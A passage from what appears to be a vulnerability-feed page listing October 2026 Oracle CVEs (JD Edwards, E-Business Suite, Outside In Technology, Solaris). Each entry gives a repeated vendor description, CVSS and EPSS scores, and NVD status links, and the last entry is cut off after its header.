Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91326).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91326&date=2026-10-25).
Sources:
NVD CVE-2026-91326: https://nvd.nist.gov/vuln/detail/CVE-2026-91326
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91326&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91327
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91327).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91327&date=2026-10-25).
Sources:
NVD CVE-2026-91327: https://nvd.nist.gov/vuln/detail/CVE-2026-91327
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91327&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).
https://kevwire.com/record/CVE-2026-91328
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91328).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91328&date=2026-10-25).
Sources:
NVD CVE-2026-91328: https://nvd.nist.gov/vuln/detail/CVE-2026-91328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91328&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Deployment SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).
https://kevwire.com/record/CVE-2026-91337
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations). (Oct 20, 2026).
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iProcurement accessible data as well as  unauthorized access to critical data or complete access to all iProcurement accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91337).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91337&date=2026-10-25).
Sources:
NVD CVE-2026-91337: https://nvd.nist.gov/vuln/detail/CVE-2026-91337
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91337&date=2026-10-25
Vulnerability in the iProcurement product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise iProcurement.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iProcurement accessible data as well as  unauthorized access to critical data or complete access to all iProcurement accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).
https://kevwire.com/record/CVE-2026-91338
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations). (Oct 20, 2026).
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data as well as  unauthorized read access to a subset of iSupport accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91338).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91338&date=2026-10-25).
Sources:
NVD CVE-2026-91338: https://nvd.nist.gov/vuln/detail/CVE-2026-91338
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91338&date=2026-10-25
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Internal operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data as well as  unauthorized read access to a subset of iSupport accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91340
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91340).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91340&date=2026-10-25).
Sources:
NVD CVE-2026-91340: https://nvd.nist.gov/vuln/detail/CVE-2026-91340
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91340&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91341
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91341).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91341&date=2026-10-25).
Sources:
NVD CVE-2026-91341: https://nvd.nist.gov/vuln/detail/CVE-2026-91341
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91341&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91342
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as  unauthorized read access to a subset of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91342).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91342&date=2026-10-25).
Sources:
NVD CVE-2026-91342: https://nvd.nist.gov/vuln/detail/CVE-2026-91342
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91342&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as  unauthorized read access to a subset of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91343
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91343).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91343&date=2026-10-25).
Sources:
NVD CVE-2026-91343: https://nvd.nist.gov/vuln/detail/CVE-2026-91343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91343&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91346
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data as well as  unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91346).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91346&date=2026-10-25).
Sources:
NVD CVE-2026-91346: https://nvd.nist.gov/vuln/detail/CVE-2026-91346
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91346&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data as well as  unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).
https://kevwire.com/record/CVE-2026-91347
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests). (Oct 20, 2026).
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  While the vulnerability is in iSupport, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of iSupport. CVSS 3.1 Base Score 8.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L).
CVSS 8.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91347).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91347&date=2026-10-25).
Sources:
NVD CVE-2026-91347: https://nvd.nist.gov/vuln/detail/CVE-2026-91347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91347&date=2026-10-25
Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  While the vulnerability is in iSupport, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of iSupport. CVSS 3.1 Base Score 8.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).
https://kevwire.com/record/CVE-2026-91348
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91348).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91348&date=2026-10-25).
Sources:
NVD CVE-2026-91348: https://nvd.nist.gov/vuln/detail/CVE-2026-91348
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91348&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91353
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91353).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91353&date=2026-10-25).
Sources:
NVD CVE-2026-91353: https://nvd.nist.gov/vuln/detail/CVE-2026-91353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91353&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91354
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
